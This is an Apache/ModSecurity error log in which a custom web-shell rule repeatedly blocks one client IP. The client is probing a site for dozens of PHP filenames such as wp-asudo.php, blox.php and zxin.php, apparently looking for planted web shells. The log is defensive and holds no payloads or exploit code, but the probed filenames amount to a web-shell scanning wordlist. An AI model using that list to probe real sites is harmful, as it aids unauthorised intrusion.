[Mon Apr 27 02:04:17.392067 2026] [:error] [pid 8383:tid 8402] [client 74.248.148.150:60115] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-asudo.php"] [unique_id "ae5TodFa2S3EsATMdWO1gwAAAAU"]
[Mon Apr 27 02:04:17.986467 2026] [:error] [pid 8383:tid 8398] [client 74.248.148.150:60814] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-asudo.php"] [unique_id "ae5TodFa2S3EsATMdWO1hQAAAAE"]
[Mon Apr 27 02:04:18.518026 2026] [:error] [pid 22573:tid 22623] [client 74.248.148.150:52444] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-asudo.php"] [unique_id "ae5TonB3EmQlD4yKUt885gAAAZA"]
[Mon Apr 27 02:04:19.061072 2026] [:error] [pid 22573:tid 22618] [client 74.248.148.150:60849] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-asudo.php"] [unique_id "ae5To3B3EmQlD4yKUt886QAAAYs"]
[Mon Apr 27 02:04:19.733645 2026] [:error] [pid 16574:tid 16631] [client 74.248.148.150:52477] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wdone1.php"] [unique_id "ae5To35MsX8wRQr99nZQuAAAA1I"]
[Mon Apr 27 02:04:20.459089 2026] [:error] [pid 8383:tid 8406] [client 74.248.148.150:26232] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wdone1.php"] [unique_id "ae5TpNFa2S3EsATMdWO1iwAAAAk"]
[Mon Apr 27 02:04:21.049222 2026] [:error] [pid 8491:tid 8501] [client 74.248.148.150:65454] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wdone1.php"] [unique_id "ae5TpSq7I7e6CJooQM06ngAAAMI"]
[Mon Apr 27 02:04:21.814288 2026] [:error] [pid 16574:tid 16613] [client 74.248.148.150:3622] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wdone1.php"] [unique_id "ae5TpX5MsX8wRQr99nZQugAAA0k"]
[Mon Apr 27 02:04:22.630801 2026] [:error] [pid 13137:tid 13141] [client 74.248.148.150:60105] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file3.php"] [unique_id "ae5Tpt0RB4J0o4h5neHL2wAAAgE"]
[Mon Apr 27 02:04:23.306187 2026] [:error] [pid 13137:tid 13163] [client 74.248.148.150:65466] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file3.php"] [unique_id "ae5Tp90RB4J0o4h5neHL3QAAAhY"]
[Mon Apr 27 02:04:23.935678 2026] [:error] [pid 8491:tid 8514] [client 74.248.148.150:3108] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file3.php"] [unique_id "ae5Tpyq7I7e6CJooQM06pAAAAM8"]
[Mon Apr 27 02:04:24.804843 2026] [:error] [pid 13137:tid 13152] [client 74.248.148.150:3123] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file3.php"] [unique_id "ae5TqN0RB4J0o4h5neHL4QAAAgs"]
[Mon Apr 27 02:04:25.381748 2026] [:error] [pid 13137:tid 13140] [client 74.248.148.150:52442] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/G-In.php"] [unique_id "ae5Tqd0RB4J0o4h5neHL5AAAAgA"]
[Mon Apr 27 02:04:26.047033 2026] [:error] [pid 8491:tid 8502] [client 74.248.148.150:49311] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/G-In.php"] [unique_id "ae5Tqiq7I7e6CJooQM06pgAAAMM"]
[Mon Apr 27 02:04:26.628568 2026] [:error] [pid 13137:tid 13151] [client 74.248.148.150:3612] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/G-In.php"] [unique_id "ae5Tqt0RB4J0o4h5neHL5wAAAgo"]
[Mon Apr 27 02:04:27.228019 2026] [:error] [pid 13137:tid 13156] [client 74.248.148.150:3089] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/G-In.php"] [unique_id "ae5Tq90RB4J0o4h5neHL6AAAAg8"]
[Mon Apr 27 02:04:27.912989 2026] [:error] [pid 13137:tid 13158] [client 74.248.148.150:60142] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/blox.php"] [unique_id "ae5Tq90RB4J0o4h5neHL6QAAAhE"]
[Mon Apr 27 02:04:28.838430 2026] [:error] [pid 8491:tid 8499] [client 74.248.148.150:3586] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/blox.php"] [unique_id "ae5TrCq7I7e6CJooQM06sAAAAMA"]
[Mon Apr 27 02:04:29.436411 2026] [:error] [pid 22573:tid 22628] [client 74.248.148.150:3124] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/blox.php"] [unique_id "ae5TrXB3EmQlD4yKUt888gAAAZU"]
[Mon Apr 27 02:04:30.213041 2026] [:error] [pid 8383:tid 8417] [client 74.248.148.150:52431] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/blox.php"] [unique_id "ae5TrtFa2S3EsATMdWO1jQAAABQ"]
[Mon Apr 27 02:04:30.795506 2026] [:error] [pid 8390:tid 8473] [client 74.248.148.150:52452] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wgift1.php"] [unique_id "ae5TroGPtFK_i9p5yxTHJgAAAJY"]
[Mon Apr 27 02:04:31.464069 2026] [:error] [pid 22573:tid 22613] [client 74.248.148.150:60844] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wgift1.php"] [unique_id "ae5Tr3B3EmQlD4yKUt888wAAAYc"]
[Mon Apr 27 02:04:32.011722 2026] [:error] [pid 13137:tid 13165] [client 74.248.148.150:3103] File does not exist: /usr/local/apache/htdocs/suspended-page/wgift1.php
[Mon Apr 27 02:04:32.293927 2026] [:error] [pid 13137:tid 13151] [client 74.248.148.150:3103] File does not exist: /usr/local/apache/htdocs/suspended-page/zwso.php
[Mon Apr 27 02:04:32.575623 2026] [:error] [pid 13137:tid 13155] [client 74.248.148.150:3103] File does not exist: /usr/local/apache/htdocs/suspended-page/gelap.php
[Mon Apr 27 02:04:32.877161 2026] [:error] [pid 13137:tid 13160] [client 74.248.148.150:3103] File does not exist: /usr/local/apache/htdocs/suspended-page/a1vx.php
[Mon Apr 27 02:04:33.172441 2026] [:error] [pid 13137:tid 13145] [client 74.248.148.150:3103] File does not exist: /usr/local/apache/htdocs/suspended-page/fe5.php
[Mon Apr 27 02:04:33.535244 2026] [:error] [pid 13137:tid 13144] [client 74.248.148.150:3103] File does not exist: /usr/local/apache/htdocs/suspended-page/lv.php
[Mon Apr 27 02:04:34.099920 2026] [:error] [pid 13137:tid 13159] [client 74.248.148.150:3103] File does not exist: /usr/local/apache/htdocs/suspended-page/oylki.php
[Mon Apr 27 02:04:34.394483 2026] [:error] [pid 13137:tid 13148] [client 74.248.148.150:3103] File does not exist: /usr/local/apache/htdocs/suspended-page/about25.php
[Mon Apr 27 02:04:34.733972 2026] [:error] [pid 13137:tid 13141] [client 74.248.148.150:3103] File does not exist: /usr/local/apache/htdocs/suspended-page/path.php
[Mon Apr 27 02:04:35.015749 2026] [:error] [pid 13137:tid 13146] [client 74.248.148.150:3103] File does not exist: /usr/local/apache/htdocs/suspended-page/r4f_1.php
[Mon Apr 27 02:04:35.308519 2026] [:error] [pid 13137:tid 13163] [client 74.248.148.150:3103] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp1.php"] [unique_id "ae5Ts90RB4J0o4h5neHL9wAAAhY"]
[Mon Apr 27 02:04:36.038940 2026] [:error] [pid 8383:tid 8398] [client 74.248.148.150:65453] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp1.php"] [unique_id "ae5TtNFa2S3EsATMdWO1mgAAAAE"]
[Mon Apr 27 02:04:36.791434 2026] [:error] [pid 8383:tid 8418] [client 74.248.148.150:45345] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp1.php"] [unique_id "ae5TtNFa2S3EsATMdWO1ngAAABU"]
[Mon Apr 27 02:04:37.761348 2026] [:error] [pid 16515:tid 16541] [client 74.248.148.150:60131] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp1.php"] [unique_id "ae5TtVtDrUmgHSvpuLxriAAAAlc"]
[Mon Apr 27 02:04:38.567904 2026] [:error] [pid 16515:tid 16520] [client 74.248.148.150:52468] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/33.php"] [unique_id "ae5TtltDrUmgHSvpuLxrigAAAkI"]
[Mon Apr 27 02:04:39.413219 2026] [:error] [pid 22573:tid 22629] [client 74.248.148.150:45349] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/33.php"] [unique_id "ae5Tt3B3EmQlD4yKUt88-wAAAZY"]
[Mon Apr 27 02:04:40.183652 2026] [:error] [pid 8390:tid 8472] [client 74.248.148.150:60833] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/33.php"] [unique_id "ae5TuIGPtFK_i9p5yxTHKwAAAJU"]
[Mon Apr 27 02:04:41.745884 2026] [:error] [pid 8491:tid 8512] [client 74.248.148.150:45361] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/33.php"] [unique_id "ae5TuSq7I7e6CJooQM06vwAAAM0"]
[Mon Apr 27 02:04:42.397864 2026] [:error] [pid 8383:tid 8400] [client 74.248.148.150:45346] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-gr.php"] [unique_id "ae5TutFa2S3EsATMdWO1pAAAAAM"]
[Mon Apr 27 02:04:43.252833 2026] [:error] [pid 8491:tid 8503] [client 74.248.148.150:28626] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-gr.php"] [unique_id "ae5Tuyq7I7e6CJooQM06wwAAAMQ"]
[Mon Apr 27 02:04:43.895283 2026] [:error] [pid 8491:tid 8509] [client 74.248.148.150:60806] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-gr.php"] [unique_id "ae5Tuyq7I7e6CJooQM06xAAAAMo"]
[Mon Apr 27 02:04:44.463917 2026] [:error] [pid 13197:tid 13232] [client 74.248.148.150:60136] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-gr.php"] [unique_id "ae5TvN3kktFKdSxTrBv1dgAAAsE"]
[Mon Apr 27 02:04:44.994704 2026] [:error] [pid 8383:tid 8410] [client 74.248.148.150:49330] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mans.php"] [unique_id "ae5TvNFa2S3EsATMdWO1qQAAAA0"]
[Mon Apr 27 02:04:45.515190 2026] [:error] [pid 8383:tid 8404] [client 74.248.148.150:45339] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mans.php"] [unique_id "ae5TvdFa2S3EsATMdWO1rQAAAAc"]
[Mon Apr 27 02:04:46.091579 2026] [:error] [pid 8383:tid 8419] [client 74.248.148.150:3102] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mans.php"] [unique_id "ae5TvtFa2S3EsATMdWO1rwAAABY"]
[Mon Apr 27 02:04:46.671909 2026] [:error] [pid 13137:tid 13157] [client 74.248.148.150:52459] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mans.php"] [unique_id "ae5Tvt0RB4J0o4h5neHL-wAAAhA"]
[Mon Apr 27 02:04:47.190476 2026] [:error] [pid 8383:tid 8418] [client 74.248.148.150:52464] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file30.php"] [unique_id "ae5Tv9Fa2S3EsATMdWO1sgAAABU"]
[Mon Apr 27 02:04:47.918686 2026] [:error] [pid 8383:tid 8400] [client 74.248.148.150:60138] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file30.php"] [unique_id "ae5Tv9Fa2S3EsATMdWO1tAAAAAM"]
[Mon Apr 27 02:04:48.472882 2026] [:error] [pid 22573:tid 22611] [client 74.248.148.150:45343] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file30.php"] [unique_id "ae5TwHB3EmQlD4yKUt88_gAAAYU"]
[Mon Apr 27 02:04:49.020888 2026] [:error] [pid 8383:tid 8408] [client 74.248.148.150:65428] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file30.php"] [unique_id "ae5TwdFa2S3EsATMdWO1tQAAAAs"]
[Mon Apr 27 02:04:49.597737 2026] [:error] [pid 13137:tid 13153] [client 74.248.148.150:45359] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zxin.php"] [unique_id "ae5Twd0RB4J0o4h5neHL_QAAAgw"]
[Mon Apr 27 02:04:50.297920 2026] [:error] [pid 8383:tid 8417] [client 74.248.148.150:45367] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zxin.php"] [unique_id "ae5TwtFa2S3EsATMdWO1vAAAABQ"]
[Mon Apr 27 02:04:50.854856 2026] [:error] [pid 8383:tid 8419] [client 74.248.148.150:60802] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zxin.php"] [unique_id "ae5TwtFa2S3EsATMdWO1vQAAABY"]
[Mon Apr 27 02:04:51.400683 2026] [:error] [pid 16574:tid 16623] [client 74.248.148.150:3642] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zxin.php"] [unique_id "ae5Tw35MsX8wRQr99nZQvAAAA04"]
[Mon Apr 27 02:04:52.004315 2026] [:error] [pid 13197:tid 13254] [client 74.248.148.150:45319] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dropdown.php"] [unique_id "ae5TxN3kktFKdSxTrBv1fQAAAtY"]
[Mon Apr 27 02:04:53.046227 2026] [:error] [pid 22573:tid 22625] [client 74.248.148.150:52419] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dropdown.php"] [unique_id "ae5TxXB3EmQlD4yKUt88_wAAAZI"]
[Mon Apr 27 02:04:53.664839 2026] [:error] [pid 8383:tid 8406] [client 74.248.148.150:46799] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dropdown.php"] [unique_id "ae5TxdFa2S3EsATMdWO1wQAAAAk"]
[Mon Apr 27 02:04:54.210843 2026] [:error] [pid 13137:tid 13151] [client 74.248.148.150:3107] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dropdown.php"] [unique_id "ae5Txt0RB4J0o4h5neHL_gAAAgo"]
[Mon Apr 27 02:04:54.756428 2026] [:error] [pid 13137:tid 13145] [client 74.248.148.150:26231] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-at.php"] [unique_id "ae5Txt0RB4J0o4h5neHMAgAAAgU"]
[Mon Apr 27 02:04:55.345063 2026] [:error] [pid 13137:tid 13159] [client 74.248.148.150:60102] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-at.php"] [unique_id "ae5Tx90RB4J0o4h5neHMBgAAAhI"]
